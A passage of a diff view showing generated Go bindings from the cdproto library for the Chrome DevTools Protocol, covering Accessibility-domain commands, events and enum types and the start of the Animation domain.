// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-getChildAXNodes
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// id
|
||||
func GetChildAXNodes(id NodeID) *GetChildAXNodesParams {
|
||||
return &GetChildAXNodesParams{
|
||||
ID: id,
|
||||
}
|
||||
}
|
||||
|
||||
// WithFrameID the frame in whose document the node resides. If omitted, the
|
||||
// root frame is used.
|
||||
func (p GetChildAXNodesParams) WithFrameID(frameID cdp.FrameID) *GetChildAXNodesParams {
|
||||
p.FrameID = frameID
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetChildAXNodesReturns return values.
|
||||
type GetChildAXNodesReturns struct {
|
||||
Nodes []*Node `json:"nodes,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Accessibility.getChildAXNodes against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodes
|
||||
func (p *GetChildAXNodesParams) Do(ctx context.Context) (nodes []*Node, err error) {
|
||||
// execute
|
||||
var res GetChildAXNodesReturns
|
||||
err = cdp.Execute(ctx, CommandGetChildAXNodes, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Nodes, nil
|
||||
}
|
||||
|
||||
// QueryAXTreeParams query a DOM node's accessibility subtree for accessible
|
||||
// name and role. This command computes the name and role for all nodes in the
|
||||
// subtree, including those that are ignored for accessibility, and returns
|
||||
// those that mactch the specified name and role. If no DOM node is specified,
|
||||
// or the DOM node does not exist, the command returns an error. If neither
|
||||
// accessibleName or role is specified, it returns all the accessibility nodes
|
||||
// in the subtree.
|
||||
type QueryAXTreeParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node for the root to query.
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node for the root to query.
|
||||
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper for the root to query.
|
||||
AccessibleName string `json:"accessibleName,omitempty"` // Find nodes with this computed name.
|
||||
Role string `json:"role,omitempty"` // Find nodes with this computed role.
|
||||
}
|
||||
|
||||
// QueryAXTree query a DOM node's accessibility subtree for accessible name
|
||||
// and role. This command computes the name and role for all nodes in the
|
||||
// subtree, including those that are ignored for accessibility, and returns
|
||||
// those that mactch the specified name and role. If no DOM node is specified,
|
||||
// or the DOM node does not exist, the command returns an error. If neither
|
||||
// accessibleName or role is specified, it returns all the accessibility nodes
|
||||
// in the subtree.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#method-queryAXTree
|
||||
//
|
||||
// parameters:
|
||||
func QueryAXTree() *QueryAXTreeParams {
|
||||
return &QueryAXTreeParams{}
|
||||
}
|
||||
|
||||
// WithNodeID identifier of the node for the root to query.
|
||||
func (p QueryAXTreeParams) WithNodeID(nodeID cdp.NodeID) *QueryAXTreeParams {
|
||||
p.NodeID = nodeID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithBackendNodeID identifier of the backend node for the root to query.
|
||||
func (p QueryAXTreeParams) WithBackendNodeID(backendNodeID cdp.BackendNodeID) *QueryAXTreeParams {
|
||||
p.BackendNodeID = backendNodeID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithObjectID JavaScript object id of the node wrapper for the root to
|
||||
// query.
|
||||
func (p QueryAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *QueryAXTreeParams {
|
||||
p.ObjectID = objectID
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithAccessibleName find nodes with this computed name.
|
||||
func (p QueryAXTreeParams) WithAccessibleName(accessibleName string) *QueryAXTreeParams {
|
||||
p.AccessibleName = accessibleName
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithRole find nodes with this computed role.
|
||||
func (p QueryAXTreeParams) WithRole(role string) *QueryAXTreeParams {
|
||||
p.Role = role
|
||||
return &p
|
||||
}
|
||||
|
||||
// QueryAXTreeReturns return values.
|
||||
type QueryAXTreeReturns struct {
|
||||
Nodes []*Node `json:"nodes,omitempty"` // A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility.
|
||||
}
|
||||
|
||||
// Do executes Accessibility.queryAXTree against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodes - A list of Accessibility.AXNode matching the specified attributes, including nodes that are ignored for accessibility.
|
||||
func (p *QueryAXTreeParams) Do(ctx context.Context) (nodes []*Node, err error) {
|
||||
// execute
|
||||
var res QueryAXTreeReturns
|
||||
err = cdp.Execute(ctx, CommandQueryAXTree, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Nodes, nil
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandDisable = "Accessibility.disable"
|
||||
CommandEnable = "Accessibility.enable"
|
||||
CommandGetPartialAXTree = "Accessibility.getPartialAXTree"
|
||||
CommandGetFullAXTree = "Accessibility.getFullAXTree"
|
||||
CommandGetRootAXNode = "Accessibility.getRootAXNode"
|
||||
CommandGetAXNodeAndAncestors = "Accessibility.getAXNodeAndAncestors"
|
||||
CommandGetChildAXNodes = "Accessibility.getChildAXNodes"
|
||||
CommandQueryAXTree = "Accessibility.queryAXTree"
|
||||
)
|
||||
+2260
File diff suppressed because it is too large.
Load diff
+20
@@ -0,0 +1,20 @@
|
||||
package accessibility
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventLoadComplete the loadComplete event mirrors the load complete event
|
||||
// sent by the browser to assistive technology when the web page has finished
|
||||
// loading.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-loadComplete
|
||||
type EventLoadComplete struct {
|
||||
Root *Node `json:"root"` // New document root node.
|
||||
}
|
||||
|
||||
// EventNodesUpdated the nodesUpdated event is sent every time a previously
|
||||
// requested node has changed the in tree.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-nodesUpdated
|
||||
type EventNodesUpdated struct {
|
||||
Nodes []*Node `json:"nodes"` // Updated node data.
|
||||
}
|
||||
+457
@@ -0,0 +1,457 @@
|
||||
package accessibility
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// NodeID unique accessibility node identifier.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXNodeId
|
||||
type NodeID string
|
||||
|
||||
// String returns the NodeID as string value.
|
||||
func (t NodeID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ValueType enum of possible property types.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueType
|
||||
type ValueType string
|
||||
|
||||
// String returns the ValueType as string value.
|
||||
func (t ValueType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ValueType values.
|
||||
const (
|
||||
ValueTypeBoolean ValueType = "boolean"
|
||||
ValueTypeTristate ValueType = "tristate"
|
||||
ValueTypeBooleanOrUndefined ValueType = "booleanOrUndefined"
|
||||
ValueTypeIdref ValueType = "idref"
|
||||
ValueTypeIdrefList ValueType = "idrefList"
|
||||
ValueTypeInteger ValueType = "integer"
|
||||
ValueTypeNode ValueType = "node"
|
||||
ValueTypeNodeList ValueType = "nodeList"
|
||||
ValueTypeNumber ValueType = "number"
|
||||
ValueTypeString ValueType = "string"
|
||||
ValueTypeComputedString ValueType = "computedString"
|
||||
ValueTypeToken ValueType = "token"
|
||||
ValueTypeTokenList ValueType = "tokenList"
|
||||
ValueTypeDomRelation ValueType = "domRelation"
|
||||
ValueTypeRole ValueType = "role"
|
||||
ValueTypeInternalRole ValueType = "internalRole"
|
||||
ValueTypeValueUndefined ValueType = "valueUndefined"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ValueType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ValueType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ValueType(in.String()) {
|
||||
case ValueTypeBoolean:
|
||||
*t = ValueTypeBoolean
|
||||
case ValueTypeTristate:
|
||||
*t = ValueTypeTristate
|
||||
case ValueTypeBooleanOrUndefined:
|
||||
*t = ValueTypeBooleanOrUndefined
|
||||
case ValueTypeIdref:
|
||||
*t = ValueTypeIdref
|
||||
case ValueTypeIdrefList:
|
||||
*t = ValueTypeIdrefList
|
||||
case ValueTypeInteger:
|
||||
*t = ValueTypeInteger
|
||||
case ValueTypeNode:
|
||||
*t = ValueTypeNode
|
||||
case ValueTypeNodeList:
|
||||
*t = ValueTypeNodeList
|
||||
case ValueTypeNumber:
|
||||
*t = ValueTypeNumber
|
||||
case ValueTypeString:
|
||||
*t = ValueTypeString
|
||||
case ValueTypeComputedString:
|
||||
*t = ValueTypeComputedString
|
||||
case ValueTypeToken:
|
||||
*t = ValueTypeToken
|
||||
case ValueTypeTokenList:
|
||||
*t = ValueTypeTokenList
|
||||
case ValueTypeDomRelation:
|
||||
*t = ValueTypeDomRelation
|
||||
case ValueTypeRole:
|
||||
*t = ValueTypeRole
|
||||
case ValueTypeInternalRole:
|
||||
*t = ValueTypeInternalRole
|
||||
case ValueTypeValueUndefined:
|
||||
*t = ValueTypeValueUndefined
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ValueType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ValueType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ValueSourceType enum of possible property sources.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSourceType
|
||||
type ValueSourceType string
|
||||
|
||||
// String returns the ValueSourceType as string value.
|
||||
func (t ValueSourceType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ValueSourceType values.
|
||||
const (
|
||||
ValueSourceTypeAttribute ValueSourceType = "attribute"
|
||||
ValueSourceTypeImplicit ValueSourceType = "implicit"
|
||||
ValueSourceTypeStyle ValueSourceType = "style"
|
||||
ValueSourceTypeContents ValueSourceType = "contents"
|
||||
ValueSourceTypePlaceholder ValueSourceType = "placeholder"
|
||||
ValueSourceTypeRelatedElement ValueSourceType = "relatedElement"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ValueSourceType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ValueSourceType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ValueSourceType(in.String()) {
|
||||
case ValueSourceTypeAttribute:
|
||||
*t = ValueSourceTypeAttribute
|
||||
case ValueSourceTypeImplicit:
|
||||
*t = ValueSourceTypeImplicit
|
||||
case ValueSourceTypeStyle:
|
||||
*t = ValueSourceTypeStyle
|
||||
case ValueSourceTypeContents:
|
||||
*t = ValueSourceTypeContents
|
||||
case ValueSourceTypePlaceholder:
|
||||
*t = ValueSourceTypePlaceholder
|
||||
case ValueSourceTypeRelatedElement:
|
||||
*t = ValueSourceTypeRelatedElement
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ValueSourceType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ValueSourceType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ValueNativeSourceType enum of possible native property sources (as a
|
||||
// subtype of a particular AXValueSourceType).
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueNativeSourceType
|
||||
type ValueNativeSourceType string
|
||||
|
||||
// String returns the ValueNativeSourceType as string value.
|
||||
func (t ValueNativeSourceType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ValueNativeSourceType values.
|
||||
const (
|
||||
ValueNativeSourceTypeDescription ValueNativeSourceType = "description"
|
||||
ValueNativeSourceTypeFigcaption ValueNativeSourceType = "figcaption"
|
||||
ValueNativeSourceTypeLabel ValueNativeSourceType = "label"
|
||||
ValueNativeSourceTypeLabelfor ValueNativeSourceType = "labelfor"
|
||||
ValueNativeSourceTypeLabelwrapped ValueNativeSourceType = "labelwrapped"
|
||||
ValueNativeSourceTypeLegend ValueNativeSourceType = "legend"
|
||||
ValueNativeSourceTypeRubyannotation ValueNativeSourceType = "rubyannotation"
|
||||
ValueNativeSourceTypeTablecaption ValueNativeSourceType = "tablecaption"
|
||||
ValueNativeSourceTypeTitle ValueNativeSourceType = "title"
|
||||
ValueNativeSourceTypeOther ValueNativeSourceType = "other"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ValueNativeSourceType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ValueNativeSourceType(in.String()) {
|
||||
case ValueNativeSourceTypeDescription:
|
||||
*t = ValueNativeSourceTypeDescription
|
||||
case ValueNativeSourceTypeFigcaption:
|
||||
*t = ValueNativeSourceTypeFigcaption
|
||||
case ValueNativeSourceTypeLabel:
|
||||
*t = ValueNativeSourceTypeLabel
|
||||
case ValueNativeSourceTypeLabelfor:
|
||||
*t = ValueNativeSourceTypeLabelfor
|
||||
case ValueNativeSourceTypeLabelwrapped:
|
||||
*t = ValueNativeSourceTypeLabelwrapped
|
||||
case ValueNativeSourceTypeLegend:
|
||||
*t = ValueNativeSourceTypeLegend
|
||||
case ValueNativeSourceTypeRubyannotation:
|
||||
*t = ValueNativeSourceTypeRubyannotation
|
||||
case ValueNativeSourceTypeTablecaption:
|
||||
*t = ValueNativeSourceTypeTablecaption
|
||||
case ValueNativeSourceTypeTitle:
|
||||
*t = ValueNativeSourceTypeTitle
|
||||
case ValueNativeSourceTypeOther:
|
||||
*t = ValueNativeSourceTypeOther
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ValueNativeSourceType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ValueNativeSourceType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ValueSource a single source for a computed AX property.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSource
|
||||
type ValueSource struct {
|
||||
Type ValueSourceType `json:"type"` // What type of source this is.
|
||||
Value *Value `json:"value,omitempty"` // The value of this property source.
|
||||
Attribute string `json:"attribute,omitempty"` // The name of the relevant attribute, if any.
|
||||
AttributeValue *Value `json:"attributeValue,omitempty"` // The value of the relevant attribute, if any.
|
||||
Superseded bool `json:"superseded,omitempty"` // Whether this source is superseded by a higher priority source.
|
||||
NativeSource ValueNativeSourceType `json:"nativeSource,omitempty"` // The native markup source for this value, e.g. a <label> element.
|
||||
NativeSourceValue *Value `json:"nativeSourceValue,omitempty"` // The value, such as a node or node list, of the native source.
|
||||
Invalid bool `json:"invalid,omitempty"` // Whether the value for this property is invalid.
|
||||
InvalidReason string `json:"invalidReason,omitempty"` // Reason for the value being invalid, if it is.
|
||||
}
|
||||
|
||||
// RelatedNode [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXRelatedNode
|
||||
type RelatedNode struct {
|
||||
BackendDOMNodeID cdp.BackendNodeID `json:"backendDOMNodeId"` // The BackendNodeId of the related DOM node.
|
||||
Idref string `json:"idref,omitempty"` // The IDRef value provided, if any.
|
||||
Text string `json:"text,omitempty"` // The text alternative of this node in the current context.
|
||||
}
|
||||
|
||||
// Property [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXProperty
|
||||
type Property struct {
|
||||
Name PropertyName `json:"name"` // The name of this property.
|
||||
Value *Value `json:"value"` // The value of this property.
|
||||
}
|
||||
|
||||
// Value a single computed AX property.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValue
|
||||
type Value struct {
|
||||
Type ValueType `json:"type"` // The type of this value.
|
||||
Value easyjson.RawMessage `json:"value,omitempty"` // The computed value of this property.
|
||||
RelatedNodes []*RelatedNode `json:"relatedNodes,omitempty"` // One or more related nodes, if applicable.
|
||||
Sources []*ValueSource `json:"sources,omitempty"` // The sources which contributed to the computation of this property.
|
||||
}
|
||||
|
||||
// PropertyName values of AXProperty name: - from 'busy' to
|
||||
// 'roledescription': states which apply to every AX node - from 'live' to
|
||||
// 'root': attributes which apply to nodes in live regions - from 'autocomplete'
|
||||
// to 'valuetext': attributes which apply to widgets - from 'checked' to
|
||||
// 'selected': states which apply to widgets - from 'activedescendant' to 'owns'
|
||||
// - relationships between elements other than parent/child/sibling.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXPropertyName
|
||||
type PropertyName string
|
||||
|
||||
// String returns the PropertyName as string value.
|
||||
func (t PropertyName) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PropertyName values.
|
||||
const (
|
||||
PropertyNameBusy PropertyName = "busy"
|
||||
PropertyNameDisabled PropertyName = "disabled"
|
||||
PropertyNameEditable PropertyName = "editable"
|
||||
PropertyNameFocusable PropertyName = "focusable"
|
||||
PropertyNameFocused PropertyName = "focused"
|
||||
PropertyNameHidden PropertyName = "hidden"
|
||||
PropertyNameHiddenRoot PropertyName = "hiddenRoot"
|
||||
PropertyNameInvalid PropertyName = "invalid"
|
||||
PropertyNameKeyshortcuts PropertyName = "keyshortcuts"
|
||||
PropertyNameSettable PropertyName = "settable"
|
||||
PropertyNameRoledescription PropertyName = "roledescription"
|
||||
PropertyNameLive PropertyName = "live"
|
||||
PropertyNameAtomic PropertyName = "atomic"
|
||||
PropertyNameRelevant PropertyName = "relevant"
|
||||
PropertyNameRoot PropertyName = "root"
|
||||
PropertyNameAutocomplete PropertyName = "autocomplete"
|
||||
PropertyNameHasPopup PropertyName = "hasPopup"
|
||||
PropertyNameLevel PropertyName = "level"
|
||||
PropertyNameMultiselectable PropertyName = "multiselectable"
|
||||
PropertyNameOrientation PropertyName = "orientation"
|
||||
PropertyNameMultiline PropertyName = "multiline"
|
||||
PropertyNameReadonly PropertyName = "readonly"
|
||||
PropertyNameRequired PropertyName = "required"
|
||||
PropertyNameValuemin PropertyName = "valuemin"
|
||||
PropertyNameValuemax PropertyName = "valuemax"
|
||||
PropertyNameValuetext PropertyName = "valuetext"
|
||||
PropertyNameChecked PropertyName = "checked"
|
||||
PropertyNameExpanded PropertyName = "expanded"
|
||||
PropertyNameModal PropertyName = "modal"
|
||||
PropertyNamePressed PropertyName = "pressed"
|
||||
PropertyNameSelected PropertyName = "selected"
|
||||
PropertyNameActivedescendant PropertyName = "activedescendant"
|
||||
PropertyNameControls PropertyName = "controls"
|
||||
PropertyNameDescribedby PropertyName = "describedby"
|
||||
PropertyNameDetails PropertyName = "details"
|
||||
PropertyNameErrormessage PropertyName = "errormessage"
|
||||
PropertyNameFlowto PropertyName = "flowto"
|
||||
PropertyNameLabelledby PropertyName = "labelledby"
|
||||
PropertyNameOwns PropertyName = "owns"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PropertyName) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PropertyName) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PropertyName(in.String()) {
|
||||
case PropertyNameBusy:
|
||||
*t = PropertyNameBusy
|
||||
case PropertyNameDisabled:
|
||||
*t = PropertyNameDisabled
|
||||
case PropertyNameEditable:
|
||||
*t = PropertyNameEditable
|
||||
case PropertyNameFocusable:
|
||||
*t = PropertyNameFocusable
|
||||
case PropertyNameFocused:
|
||||
*t = PropertyNameFocused
|
||||
case PropertyNameHidden:
|
||||
*t = PropertyNameHidden
|
||||
case PropertyNameHiddenRoot:
|
||||
*t = PropertyNameHiddenRoot
|
||||
case PropertyNameInvalid:
|
||||
*t = PropertyNameInvalid
|
||||
case PropertyNameKeyshortcuts:
|
||||
*t = PropertyNameKeyshortcuts
|
||||
case PropertyNameSettable:
|
||||
*t = PropertyNameSettable
|
||||
case PropertyNameRoledescription:
|
||||
*t = PropertyNameRoledescription
|
||||
case PropertyNameLive:
|
||||
*t = PropertyNameLive
|
||||
case PropertyNameAtomic:
|
||||
*t = PropertyNameAtomic
|
||||
case PropertyNameRelevant:
|
||||
*t = PropertyNameRelevant
|
||||
case PropertyNameRoot:
|
||||
*t = PropertyNameRoot
|
||||
case PropertyNameAutocomplete:
|
||||
*t = PropertyNameAutocomplete
|
||||
case PropertyNameHasPopup:
|
||||
*t = PropertyNameHasPopup
|
||||
case PropertyNameLevel:
|
||||
*t = PropertyNameLevel
|
||||
case PropertyNameMultiselectable:
|
||||
*t = PropertyNameMultiselectable
|
||||
case PropertyNameOrientation:
|
||||
*t = PropertyNameOrientation
|
||||
case PropertyNameMultiline:
|
||||
*t = PropertyNameMultiline
|
||||
case PropertyNameReadonly:
|
||||
*t = PropertyNameReadonly
|
||||
case PropertyNameRequired:
|
||||
*t = PropertyNameRequired
|
||||
case PropertyNameValuemin:
|
||||
*t = PropertyNameValuemin
|
||||
case PropertyNameValuemax:
|
||||
*t = PropertyNameValuemax
|
||||
case PropertyNameValuetext:
|
||||
*t = PropertyNameValuetext
|
||||
case PropertyNameChecked:
|
||||
*t = PropertyNameChecked
|
||||
case PropertyNameExpanded:
|
||||
*t = PropertyNameExpanded
|
||||
case PropertyNameModal:
|
||||
*t = PropertyNameModal
|
||||
case PropertyNamePressed:
|
||||
*t = PropertyNamePressed
|
||||
case PropertyNameSelected:
|
||||
*t = PropertyNameSelected
|
||||
case PropertyNameActivedescendant:
|
||||
*t = PropertyNameActivedescendant
|
||||
case PropertyNameControls:
|
||||
*t = PropertyNameControls
|
||||
case PropertyNameDescribedby:
|
||||
*t = PropertyNameDescribedby
|
||||
case PropertyNameDetails:
|
||||
*t = PropertyNameDetails
|
||||
case PropertyNameErrormessage:
|
||||
*t = PropertyNameErrormessage
|
||||
case PropertyNameFlowto:
|
||||
*t = PropertyNameFlowto
|
||||
case PropertyNameLabelledby:
|
||||
*t = PropertyNameLabelledby
|
||||
case PropertyNameOwns:
|
||||
*t = PropertyNameOwns
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PropertyName value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PropertyName) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// Node a node in the accessibility tree.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXNode
|
||||
type Node struct {
|
||||
NodeID NodeID `json:"nodeId"` // Unique identifier for this node.
|
||||
Ignored bool `json:"ignored"` // Whether this node is ignored for accessibility
|
||||
IgnoredReasons []*Property `json:"ignoredReasons,omitempty"` // Collection of reasons why this node is hidden.
|
||||
Role *Value `json:"role,omitempty"` // This Node's role, whether explicit or implicit.
|
||||
ChromeRole *Value `json:"chromeRole,omitempty"` // This Node's Chrome raw role.
|
||||
Name *Value `json:"name,omitempty"` // The accessible name for this Node.
|
||||
Description *Value `json:"description,omitempty"` // The accessible description for this Node.
|
||||
Value *Value `json:"value,omitempty"` // The value for this Node.
|
||||
Properties []*Property `json:"properties,omitempty"` // All other properties
|
||||
ParentID NodeID `json:"parentId,omitempty"` // ID for this node's parent.
|
||||
ChildIDs []NodeID `json:"childIds,omitempty"` // IDs for each of this node's child nodes.
|
||||
BackendDOMNodeID cdp.BackendNodeID `json:"backendDOMNodeId,omitempty"` // The backend ID for the associated DOM node, if any.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"` // The frame ID for the frame associated with this nodes document.
|
||||
}
|
||||
+298
@@ -0,0 +1,298 @@
|
||||
// Package animation provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Animation domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package animation
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
)
|
||||
|
||||
// DisableParams disables animation domain notifications.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disables animation domain notifications.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Animation.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// EnableParams enables animation domain notifications.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enables animation domain notifications.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes Animation.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// GetCurrentTimeParams returns the current time of the an animation.
|
||||
type GetCurrentTimeParams struct {
|
||||
ID string `json:"id"` // Id of animation.
|
||||
}
|
||||
|
||||
// GetCurrentTime returns the current time of the an animation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-getCurrentTime
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// id - Id of animation.
|
||||
func GetCurrentTime(id string) *GetCurrentTimeParams {
|
||||
return &GetCurrentTimeParams{
|
||||
ID: id,
|
||||
}
|
||||
}
|
||||
|
||||
// GetCurrentTimeReturns return values.
|
||||
type GetCurrentTimeReturns struct {
|
||||
CurrentTime float64 `json:"currentTime,omitempty"` // Current time of the page.
|
||||
}
|
||||
|
||||
// Do executes Animation.getCurrentTime against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// currentTime - Current time of the page.
|
||||
func (p *GetCurrentTimeParams) Do(ctx context.Context) (currentTime float64, err error) {
|
||||
// execute
|
||||
var res GetCurrentTimeReturns
|
||||
err = cdp.Execute(ctx, CommandGetCurrentTime, p, &res)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return res.CurrentTime, nil
|
||||
}
|
||||
|
||||
// GetPlaybackRateParams gets the playback rate of the document timeline.
|
||||
type GetPlaybackRateParams struct{}
|
||||
|
||||
// GetPlaybackRate gets the playback rate of the document timeline.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-getPlaybackRate
|
||||
func GetPlaybackRate() *GetPlaybackRateParams {
|
||||
return &GetPlaybackRateParams{}
|
||||
}
|
||||
|
||||
// GetPlaybackRateReturns return values.
|
||||
type GetPlaybackRateReturns struct {
|
||||
PlaybackRate float64 `json:"playbackRate,omitempty"` // Playback rate for animations on page.
|
||||
}
|
||||
|
||||
// Do executes Animation.getPlaybackRate against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// playbackRate - Playback rate for animations on page.
|
||||
func (p *GetPlaybackRateParams) Do(ctx context.Context) (playbackRate float64, err error) {
|
||||
// execute
|
||||
var res GetPlaybackRateReturns
|
||||
err = cdp.Execute(ctx, CommandGetPlaybackRate, nil, &res)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return res.PlaybackRate, nil
|
||||
}
|
||||
|
||||
// ReleaseAnimationsParams releases a set of animations to no longer be
|
||||
// manipulated.
|
||||
type ReleaseAnimationsParams struct {
|
||||
Animations []string `json:"animations"` // List of animation ids to seek.
|
||||
}
|
||||
|
||||
// ReleaseAnimations releases a set of animations to no longer be
|
||||
// manipulated.
|
||||
//
|
||||
